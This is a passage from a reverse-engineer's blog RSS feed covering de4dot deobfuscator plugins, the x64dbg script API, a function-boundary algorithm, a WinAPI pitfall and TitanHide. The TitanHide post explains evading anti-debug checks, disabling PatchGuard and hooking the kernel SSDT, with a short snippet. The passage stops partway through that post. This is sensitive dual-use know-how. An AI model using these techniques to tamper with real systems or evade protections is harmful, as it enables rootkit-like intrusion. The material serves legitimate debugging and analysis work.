  &lt;li&gt;Copy and rename the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;deobfuscator.Template&lt;/code&gt; directory to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;deobfuscator.OrangeHeap&lt;/code&gt;;&lt;/li&gt;
  &lt;li&gt;In that same directory, rename &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;deobfuscator.Template.csproj&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;deobfuscator.OrangeHeap.csproj&lt;/code&gt;;&lt;/li&gt;
  &lt;li&gt;Open the main &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;de4dot.sln&lt;/code&gt; in Visual Studio 2010 or higher and add &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;deobfuscator.OrangeHeap.csproj&lt;/code&gt; to the solution;&lt;/li&gt;
  &lt;li&gt;Now the only thing left is to rename the output file name and namespace from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;deobfuscator.Template&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;deobfuscator.OrangeHeap&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;coding-the-deobfuscator&quot;&gt;Coding the deobfuscator&lt;/h2&gt;

&lt;p&gt;In this post I won’t go too much in depth about the internal de4dot architecture, mainly because I don’t know a whole lot about it. You’d have to check the built-in deobfuscators by yourself to find out how it works. Here is a &lt;a href=&quot;http://lifeinhex.com/string-decryption-with-de4dot&quot;&gt;post by kao&lt;/a&gt; that explains extending de4dot in a more detailed manner.&lt;/p&gt;

&lt;p&gt;The identifying class for a deobfuscator is the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DeobfuscatorInfo&lt;/code&gt; class. It has to provide a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Name&lt;/code&gt; and a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Type&lt;/code&gt; string field, where the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Type&lt;/code&gt; field must be unique. It also has a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CreateDeobfuscator&lt;/code&gt; method that will handle the actual deobfuscation.&lt;/p&gt;

&lt;p&gt;You can find the full code over &lt;a href=&quot;https://github.com/mrexodia/de4dot/tree/OrangeHeap&quot;&gt;here&lt;/a&gt;. TheProxy wrote a full tutorial with details over at &lt;a href=&quot;https://theproxyre.wordpress.com/2015/05/14/adding-obfuscator-to-de4dot&quot;&gt;his blog&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;sharing-the-deobfuscator&quot;&gt;Sharing the deobfuscator&lt;/h2&gt;

&lt;p&gt;Now before I go into this, I have to say that you are &lt;strong&gt;obligated&lt;/strong&gt; by the license de4dot uses (GPL) to share any modifications you make to de4dot under the same (GPL) license. This includes extensions that are dynamically loaded by de4dot, although this is &lt;a href=&quot;http://www.gnu.org/licenses/gpl-faq.en.html#GPLAndPlugins&quot;&gt;controversial&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Now to share the deobfuscator, for example for &lt;a href=&quot;http://www.gnu.org/licenses/gpl-faq.en.html#UnreleasedMods&quot;&gt;internal company usage&lt;/a&gt; or simply because you want to share prebuilt binaries of your GPL extension, simply copy the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bin/deobfuscator.OrangeHeap.dll&lt;/code&gt; to the de4dot &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bin&lt;/code&gt; directory on another machine. Here is a screenshot that shows what happens before and after I added the DLL to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bin&lt;/code&gt; directory (obviously without any other modifications to de4dot):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/de4dot_orangeheap.png&quot; alt=&quot;extensibility!&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;overridingextending-existing-deobfuscators&quot;&gt;Overriding/Extending existing deobfuscators&lt;/h2&gt;

&lt;p&gt;If you want to change the behavior of an existing deobfuscator, simply make the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DeobfuscatorInfo.Type&lt;/code&gt; field return an already-present typename (like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;co&lt;/code&gt; for CryptoDeobfuscator or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;df&lt;/code&gt; for Dotfuscator). Basically you have to rip the current deobfuscator class out in a separate project (I tested this). See &lt;a href=&quot;https://github.com/mrexodia/de4dot/blob/master/de4dot.code/deobfuscators/Dotfuscator/Deobfuscator.cs&quot;&gt;here&lt;/a&gt; for a starting point. It should be pretty straightforward.&lt;/p&gt;

&lt;p&gt;Well, that’s all for today. Hopefully till next time!&lt;/p&gt;

&lt;p&gt;mrexodia&lt;/p&gt;
</description>
                <link>https://mrexodia.github.io/coding/2015/07/17/Extending-de4dot</link>
                <guid>https://mrexodia.github.io/coding/2015/07/17/Extending-de4dot</guid>
                <pubDate>2015-07-17T00:00:00+00:00</pubDate>
        </item>

        <item>
                <title>Script Api</title>
                <description>
&lt;p&gt;Hey everyone,&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For the people who keep checking this blog: thanks a lot!&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Recently I had quite a lot of deadlines, so as usual I didn’t write anything on my blog :) I did however work on quite some interesting things. Together with the guys on &lt;a href=&quot;http://webchat.freenode.net/?channels=x64dbg&quot;&gt;#x64dbg&lt;/a&gt; and some other people I worked on a script API for x64dbg. What this means is that (once this API is finished) people can write bindings for their favorite script language and publish it as a plugin!&lt;/p&gt;

&lt;p&gt;Right now I have these implemented:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Basic debugging stuff (run, step, stop, pause);&lt;/li&gt;
  &lt;li&gt;Register setters/getters;&lt;/li&gt;
  &lt;li&gt;Memory read/write;&lt;/li&gt;
  &lt;li&gt;Pattern finding/writing;&lt;/li&gt;
  &lt;li&gt;Module information;&lt;/li&gt;
  &lt;li&gt;GUI selection setters/getters.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I plan on adding much more:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;PE information;&lt;/li&gt;
  &lt;li&gt;Breakpoint management;&lt;/li&gt;
  &lt;li&gt;Comment/Bookmark/Label/Function/Loop management (useful for analysis scripts);&lt;/li&gt;
  &lt;li&gt;Settings;&lt;/li&gt;
  &lt;li&gt;Event callbacks;&lt;/li&gt;
  &lt;li&gt;Etc (contact me if you have requests).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Some work was done with &lt;a href=&quot;http://www.angelcode.com/angelscript&quot;&gt;AngelScript&lt;/a&gt; in the &lt;a href=&quot;https://github.com/x64dbg/testplugin&quot;&gt;testplugin&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;void myStepOut()
{
    duint cip = Register::GetCIP();
    Print(&quot;[SCRIPT] Started on CIP = 0x%p\n&quot;, cip);
    do
    {
        Debug::StepOver();
        cip = Register::GetCIP();
    }
    while(Memory::ReadByte(cip) != 0xC3);
    Print(&quot;[SCRIPT] Finished on CIP = 0x%p\n&quot;, cip);
}

void main()
{
    Print(&quot;[SCRIPT] Welcome to AngelScript!\n&quot;);
    myStepOut();
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Another idea I had was to load script DLLS, so you can write scripts in your favorite programming language (basically any language that supports native exports). You would write a single export &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;StartScript&lt;/code&gt; that then calls the script API directly. This would allow for many possibilities, including commercial unpacking scripts.&lt;/p&gt;

&lt;p&gt;This summer I will try to work on x64dbg as much as I can, to at least complete the script API. I also plan on fixing performance problems and solving as many issues as I can. Contact me if you know C++ and like to work on x64dbg. All help is appreciated.&lt;/p&gt;

&lt;p&gt;Till next time,&lt;/p&gt;

&lt;p&gt;mrexodia&lt;/p&gt;
</description>
                <link>https://mrexodia.github.io/coding/2015/07/01/Script-API</link>
                <guid>https://mrexodia.github.io/coding/2015/07/01/Script-API</guid>
                <pubDate>2015-07-01T00:00:00+00:00</pubDate>
        </item>

        <item>
                <title>Function Analysis</title>
                <description>
&lt;p&gt;Hey everyone!&lt;/p&gt;

&lt;p&gt;Right now I am in the fourth and final term of this education year. It looks like I can go on studying computer science, since I passed all my exams as of now!&lt;/p&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;In this post I will discuss a (fairly simple) algorithm I came up with half-drunk with the purpose of determining function boundaries in x86 assembly code. Right now, it is implemented in &lt;a href=&quot;http://snapshots.x64dbg.com&quot;&gt;x64dbg&lt;/a&gt; and you can see how it works with a command called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;anal&lt;/code&gt; (short for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;analyze&lt;/code&gt;). It &lt;strong&gt;does not&lt;/strong&gt; work on weird/obfuscated/Microsoft’s code, but it’s nice to have an idea where functions start and end without having to manually go through every function you are looking at.&lt;/p&gt;

&lt;p&gt;Screenshot:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/x64dbg_function1.png&quot; alt=&quot;x64dbg function&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;the-requirements&quot;&gt;The requirements&lt;/h2&gt;

&lt;p&gt;Maybe you already noticed, but x64dbg does barely use the information provided in the PE Header of a debuggee for its operations. If your executable is malformed, but can be started by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CreateProcess&lt;/code&gt; without problems x64dbg should be able to debug it.&lt;/p&gt;

&lt;p&gt;The downside is that x64dbg has no idea if it is looking at code, an import table, a resource table or just random data. You would have to figure that out yourself. The upside is that anything that can be run by Windows can at least be started by x64dbg.&lt;/p&gt;

&lt;p&gt;The algorithm has a very simple input: a block of memory. The output should be a list of function boundaries. It requires nothing to work, except the virtual base address of the memory block.&lt;/p&gt;

&lt;h2 id=&quot;the-idea&quot;&gt;The idea&lt;/h2&gt;

&lt;p&gt;After talking with various people (including cyberbob who created &lt;a href=&quot;http://www.arkdasm.com&quot;&gt;ArkDasm&lt;/a&gt;) the thing a lot of people (including our ‘competition’ at HexRays) appear to do is some kind of recursive ‘tracing’ from a certain point (usually the entry point). Basically it simulates multiple possible execution paths from that point and constructs the function boundaries from data (such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;call&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ret&lt;/code&gt; instructions) it collected on the way.&lt;/p&gt;

&lt;p&gt;Usually I like what the cool kids on the block do, but I saw some problems:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Recursive algorithms require housekeeping. In this case you would need to make sure data is not analyzed more than once (in case of analyzing a recursive function).&lt;/li&gt;
  &lt;li&gt;It is hard to estimate when the recursive algorithm would end. Maybe there is only one (very small) execution path and it ends immediately, or it keeps dragging on, evaluating thousands of possible paths.&lt;/li&gt;
  &lt;li&gt;There is no known entry point.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Now computer scientists appear to like complexity analysis of an algorithm. Probably you cannot do better than linear anyway, so I decided that I wanted to algorithm to be done in linear time &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;O(n)&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The idea I had was very simple, but it requires two assumptions to work:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Every call destination or immediate pointing inside the memory block given for analysis is assumed to be the start of a function;&lt;/li&gt;
  &lt;li&gt;A function ends at or after the start of that function and cannot overlap with other functions.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The first assumption should be clear to you. The second assumption might not be, but it is actually very simple: when a function starts it has to end before another function starts. This means that this system will horribly break on optimized code that places chunks of code randomly scattered throughout the memory region. Microsoft’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kernel32.dll&lt;/code&gt; does this for example.&lt;/p&gt;

&lt;p&gt;Now the actual idea is to do things in two steps:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Find all function starts;&lt;/li&gt;
  &lt;li&gt;Figure out where functions end.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Simple right?&lt;/p&gt;

&lt;h2 id=&quot;finding-all-function-starts&quot;&gt;Finding all function starts&lt;/h2&gt;

&lt;p&gt;Doing this is actually trivial with the given assumptions! Just find any immediate that points in the memory block currently being analyzed and then sort the results and remove duplicates (a function might be called from multiple places is why). The reason for the sorting that the end cannot be further away than the next function start.&lt;/p&gt;

&lt;h2 id=&quot;finding-the-end-of-a-function-1&quot;&gt;Finding the end of a function #1&lt;/h2&gt;

&lt;p&gt;The thing that immediately comes to mind is just searching for the first &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ret&lt;/code&gt; instruction after the function start and call this the function end.&lt;/p&gt;

&lt;p&gt;The problem with this approach is that there might be multiple exit points:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/x64dbg_function2.png&quot; alt=&quot;multiple exit points&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;finding-the-end-of-a-function-2&quot;&gt;Finding the end of a function #2&lt;/h2&gt;

&lt;p&gt;Another thing that comes in mind really quickly is just to scan backwards from a function start for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ret&lt;/code&gt; instruction. When found, this is the end of the previous function:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/x64dbg_function3.png&quot; alt=&quot;scan backwards&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The main problem with this is that there could be unreferenced functions between the two functions that were found using the method for finding function starts. This could make really weird functions appear:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/x64dbg_function4.png&quot; alt=&quot;wrong functions&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;finding-the-end-of-a-function-3&quot;&gt;Finding the end of a function #3&lt;/h2&gt;

&lt;p&gt;The actual method I used to find the end of a function is a variation of #1. This algorithms has four cursors (the names are taken from the &lt;a href=&quot;https://github.com/x64dbg/x64dbg/blob/8bc96224/x64_dbg_dbg/functionanalysis.cpp#L92&quot;&gt;actual algorithm&lt;/a&gt;):&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;addr&lt;/code&gt; is the current address being disassembled. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;addr&lt;/code&gt; will always move forward disassembling every instruction on the way;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;end&lt;/code&gt; is the current function end (basically this is the last &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ret&lt;/code&gt; instruction encountered by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;addr&lt;/code&gt;);&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fardest&lt;/code&gt; is the farthest forward destination of a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jxx&lt;/code&gt;. This will point to the farthest destination the function can go by using jumps;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jumpback&lt;/code&gt; is the address of the last &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp&lt;/code&gt; instruction that jumps before the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;end&lt;/code&gt; at that time.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For the understanding of the algorithm I visualized it using x64dbg. These are the colors used to indicate the various variables:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;span style=&quot;background: #000000; color: #ffffff;&quot;&gt;addr&lt;/span&gt;&lt;/li&gt;
  &lt;li&gt;&lt;span style=&quot;background: #ff0000; color: #000000;&quot;&gt;end&lt;/span&gt;&lt;/li&gt;
  &lt;li&gt;&lt;span style=&quot;background: #00ff00; color: #000000;&quot;&gt;fardest&lt;/span&gt;&lt;/li&gt;
  &lt;li&gt;&lt;span style=&quot;background: #00ffff; color: #000000;&quot;&gt;jumpback&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The first animation shows how &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fardest&lt;/code&gt; is used. When a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ret&lt;/code&gt; instruction is encountered it is considered to be the function end if &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fardest&lt;/code&gt; has no value or points &lt;strong&gt;before&lt;/strong&gt; the current &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ret&lt;/code&gt; instruction. When &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fardest&lt;/code&gt; points after the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ret&lt;/code&gt; instruction, the algorithm will continue instead looking for another &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ret&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/x64dbg_function_animated1.gif&quot; alt=&quot;algorithm animation 1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The second animation shows how the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jumpback&lt;/code&gt; variable is used. Basically what could happen is that there is some kind of repeated structure before a function returns and that the compiler optimized this by jumping back to this structure from the end of the function (this could be done to save space for example). When the limit to where the algorithm can disassemble is reached the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jumpback&lt;/code&gt; will be used as end of the function instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;end&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/x64dbg_function_animated2.gif&quot; alt=&quot;algorithm animation 2&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;final-words&quot;&gt;Final words&lt;/h1&gt;

&lt;p&gt;Alright, that was about it! I plan on improving this algorithm to support weird function structures done by some compilers, but the idea will stay the same (I think). I hope you enjoyed reading through this, I definitely enjoyed making it (even fixed some bugs on the way).&lt;/p&gt;

&lt;p&gt;Greetings,&lt;/p&gt;

&lt;p&gt;mrexodia&lt;/p&gt;
</description>
                <link>https://mrexodia.github.io/coding/2015/05/11/Function-Analysis</link>
                <guid>https://mrexodia.github.io/coding/2015/05/11/Function-Analysis</guid>
                <pubDate>2015-05-11T00:00:00+00:00</pubDate>
        </item>

        <item>
                <title>Progress</title>
                <description>
&lt;p&gt;Hey guys,&lt;/p&gt;

&lt;p&gt;After (again) almost a month of not writing I decided to write a little about various things I’m doing currently.&lt;/p&gt;

&lt;h2 id=&quot;gleebug&quot;&gt;GleeBug&lt;/h2&gt;

&lt;p&gt;As some of you might have picked up I’m working on a replacement for TitanEngine. This replacement is going to be called GleeBug. Currently the project is in early stages, but with some help from nice people in my live stream we got single stepping with callbacks working very well!&lt;/p&gt;

&lt;p&gt;GleeBug is going to have full support for child process debugging and it will be written in an object oriented style. (name) is working with me. You can find the repository &lt;a href=&quot;https://github.com/GleeBug/GleeBug&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;x64dbg&quot;&gt;x64dbg&lt;/h2&gt;

&lt;p&gt;After I started a bachelor in computer science, other projects started degrading because of the lack of motivation and time I had. Recently I did a weekend of &lt;a href=&quot;http://live.x64dbg.com&quot;&gt;live streaming&lt;/a&gt; and it motivated me greatly! If I have some time between the assignments I have to do and playing GTA 5 (amazing game by the way) I will do another streaming session this weekend. Otherwise Monday (which is when I have to hand in the assignments).&lt;/p&gt;

&lt;p&gt;A lot has happened to x64dbg since the last time I wrote, here is a quick summary for the people not following the commit logs:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;plusvic.github.io/yara&quot;&gt;YARA&lt;/a&gt; rules matching was added;&lt;/li&gt;
  &lt;li&gt;A &lt;a href=&quot;http://download.x64dbg.com&quot;&gt;new version&lt;/a&gt; was released;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x64_dbg&lt;/code&gt; is renamed to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x64dbg&lt;/code&gt;;&lt;/li&gt;
  &lt;li&gt;We moved to &lt;a href=&quot;http://source.x64dbg.com&quot;&gt;GitHub&lt;/a&gt;;&lt;/li&gt;
  &lt;li&gt;You can now &lt;a href=&quot;http://donate.x64dbg.com&quot;&gt;donate&lt;/a&gt; with PayPal (or Bitcoin);&lt;/li&gt;
  &lt;li&gt;Nukem did a great deal of refactoring with the result that x64dbg is now on VS2013. XP will stay supported, but backwards compatibility is still a WIP so the current snapshots will not run on XP (move on already guys);&lt;/li&gt;
  &lt;li&gt;Various bugs were fixed (some fixed as a result of the refactoring), see the commit logs on &lt;a href=&quot;http://source.x64dbg.com&quot;&gt;the repository&lt;/a&gt; for more information.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Well, that’s about it! Thanks for reading and leave me a comment on &lt;a href=&quot;https://twitter.com/mrexodia&quot;&gt;my twitter&lt;/a&gt; or in the comment section.&lt;/p&gt;

&lt;p&gt;mrexodia&lt;/p&gt;
</description>
                <link>https://mrexodia.github.io/coding/2015/04/18/Progress</link>
                <guid>https://mrexodia.github.io/coding/2015/04/18/Progress</guid>
                <pubDate>2015-04-18T00:00:00+00:00</pubDate>
        </item>

        <item>
                <title>Look Out!</title>
                <description>
&lt;p&gt;Hey,&lt;/p&gt;

&lt;p&gt;At the moment I feel like I should say I plan on posting something like every month from now on.&lt;/p&gt;

&lt;p&gt;This is just a small post warning you guys for some very annoying behavior in &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa363216%28v=vs.85%29.aspx&quot;&gt;DeviceIoControl&lt;/a&gt;. After a quick read of the documentation I did code like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;static bool ControlDevice(HIDECOMMAND Command, HIDEINFO* HideInfo)
{
    HANDLE hDevice = GetDeviceHandle();
    if (hDevice == INVALID_HANDLE_VALUE)
	    return false;
    bool result = !!DeviceIoControl(hDevice, //hDevice
                                    Command, //dwIoControlCode
                                    HideInfo, //lpInBuffer
                                    sizeof(HIDEINFO), //nInBufferSize
                                    NULL, //lpOutBuffer
                                    0, //nOutBufferSize
                                    NULL, //lpBytesReturned
                                    NULL //lpOverlapped
                                   ); //
    CloseHandle(hDevice);
    return result;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Reading the documentation in a quick glance it looked like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lpBytesReturned&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lpOverlapped&lt;/code&gt; are optional (it says so in the function definition).&lt;/p&gt;

&lt;p&gt;I tested the code on Windows 8.1 and everything worked fine, so I published the code. After a while however, my client told me there was a crash on Windows 7 near &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DeviceIoControl&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Reading the documentation again I stumbled across this sentence:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;If lpOverlapped is &lt;strong&gt;NULL&lt;/strong&gt;, lpBytesReturned cannot be &lt;strong&gt;NULL&lt;/strong&gt;. Even when an operation returns no output data and lpOutBuffer is &lt;strong&gt;NULL&lt;/strong&gt;, &lt;strong&gt;DeviceIoControl&lt;/strong&gt; makes use of lpBytesReturned. After such an operation, the value of lpBytesReturned is meaningless.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Moral of the story: don’t assume &lt;em&gt;optional&lt;/em&gt; actually means a parameter is optional in WinAPI documentation :)&lt;/p&gt;

&lt;p&gt;Cya around,&lt;/p&gt;

&lt;p&gt;mrexodia&lt;/p&gt;
</description>
                <link>https://mrexodia.github.io/kernel/2015/03/21/Look-out!</link>
                <guid>https://mrexodia.github.io/kernel/2015/03/21/Look-out!</guid>
                <pubDate>2015-03-21T00:00:00+00:00</pubDate>
        </item>

        <item>
                <title>Titanhide</title>
                <description>
&lt;p&gt;Hello,&lt;/p&gt;

&lt;p&gt;First of all I would like to thank to ~200 people (or bots) who still visit this blog! I didn’t post for a long time (again) because I was busy with a project for the university. Right now I had my exams, so I will have a little time to write a new blogpost.&lt;/p&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;Some people might remember a project I started about a year ago. This project is called &lt;a href=&quot;https://bitbucket.org/mrexodia/titanhide&quot;&gt;TitanHide&lt;/a&gt; and it was created to make kernel-mode debugger hiding possible on the x64 versions of Windows. At the time there was no kernel-mode hiding driver that worked on the x64 versions of Windows and that was also open-source. Trusting kernel drivers is really important (especially when they install hooks) because they can do anything with your system they like. TitanHide was meant to be easy to extend and it should work on both x32 and x64 systems.&lt;/p&gt;

&lt;h2 id=&quot;debug-detection&quot;&gt;Debug Detection&lt;/h2&gt;

&lt;p&gt;Software protection or malware usually doesn’t like being debugged. For this reason they usually insert various debugger checks. There are lots and lots of anti-debug tricks, see &lt;a href=&quot;http://pferrie.host22.com/papers/antidebug.pdf&quot;&gt;this paper&lt;/a&gt; for example. Some tricks like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IsDebuggerPresent&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NtGlobalFlag&lt;/code&gt; can be bypassed by changing the &lt;a href=&quot;http://undocumented.ntinternals.net/source/usermode/undocumented%20functions/nt%20objects/process/peb.html&quot;&gt;PEB&lt;/a&gt; in memory of the usermode process. Other detection methods cannot be evaded by a simple memory patch (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NtClose&lt;/code&gt; for example). These detection methods require hooks. Hooks in user-mode (such as done by &lt;a href=&quot;https://bitbucket.org/NtQuery/scyllahide&quot;&gt;ScyllaHide&lt;/a&gt;) work in most cases, but more advanced debugger detection systems also detect user-mode hooks. In this case there is need for kernel-mode hooks, which is what TitanHide is using to evade debug detection methods. TitanHide does &lt;strong&gt;not&lt;/strong&gt; patch the PEB or other things that can be done in user-mode, it’s focus lays purely in kernel-mode.&lt;/p&gt;

&lt;h2 id=&quot;patchguard&quot;&gt;PatchGuard&lt;/h2&gt;

&lt;p&gt;In x32 times patching the kernel was officially unsupported by Microsoft, but there were no countermeasures built into the operating system against it. When Windows x64 came along, Microsoft added &lt;a href=&quot;http://bit.ly/1zBtSV0&quot;&gt;Kernel Patch Protection&lt;/a&gt;, also referred to as ‘PatchGuard’. PatchGuard prevents modification of critical kernel structures, such as the SSDT, which TitanHide uses to hook kernel functions. There are various methods of disabling PatchGuard, but TitanHide does not implement any of those. The main reason behind this is that TitanHide is purely meant to bypass debugger checks, not as a full-fledged rootkit library. If you want a quick way to disable PatchGuard, simply enable debug mode on your computer. This effectively stops PatchGuard from loading. If you want more information about PatchGuard I recommend reading &lt;a href=&quot;http://www.leviathansecurity.com/wp-content/uploads/uninformed_v3a3.pdf&quot;&gt;this article&lt;/a&gt;. Everything that happens after this point is with PatchGuard disabled.&lt;/p&gt;

&lt;h2 id=&quot;titanhide&quot;&gt;TitanHide&lt;/h2&gt;

&lt;p&gt;This post will mainly be about TitanHide installs it’s hooks. If you want more information about how the functions are modified to make it look like certain processes are not being debugged, you should read the &lt;a href=&quot;https://bitbucket.org/mrexodia/titanhide/src/master/TitanHide/hooks.cpp&quot;&gt;code&lt;/a&gt;. I also recommend reading &lt;a href=&quot;https://bitbucket.org/NtQuery/scyllahide/downloads/ScyllaHide.pdf&quot;&gt;this paper&lt;/a&gt; about ScyllaHide. It can help while reading the TitanHide code (since the code itself is not greatly documented).&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Many ideas in TitanHide come from different people around the internet, but the code in TitanHide is mostly written by myself. Code I used from the internet usually has a comment explaining where it came from. Some code was also written by cypherpunk. You can see which code specifically in the commit log.&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;ssdt-hooking&quot;&gt;SSDT Hooking&lt;/h2&gt;

&lt;p&gt;In short the System Service Dispatch Table (SSDT) is used by the operating system to determine which function to call after a transition from user to kernel-mode. The table contains kernel-mode function pointers and when a user-mode program wants to call such a function it provides an index to the function it wants to call in EAX. SSDT Hooking means replacing these kernel-mode function pointers with custom functions that either fully replace the existing function or modify the function behavior.&lt;/p&gt;

&lt;p&gt;In x32 mode, replacing SSDT functions is quite straightforward (see &lt;a href=&quot;http://resources.infosecinstitute.com/hooking-system-service-dispatch-table-ssdt&quot;&gt;this article&lt;/a&gt; for more information). Basically what happens is this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;SSDTStruct* SSDT = MmGetSystemRoutineAddress(L&quot;KeServiceDescriptorTable&quot;);
SSDT-&amp;gt;pServiceTable[FunctionIndex] = NewFunctionPointer;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

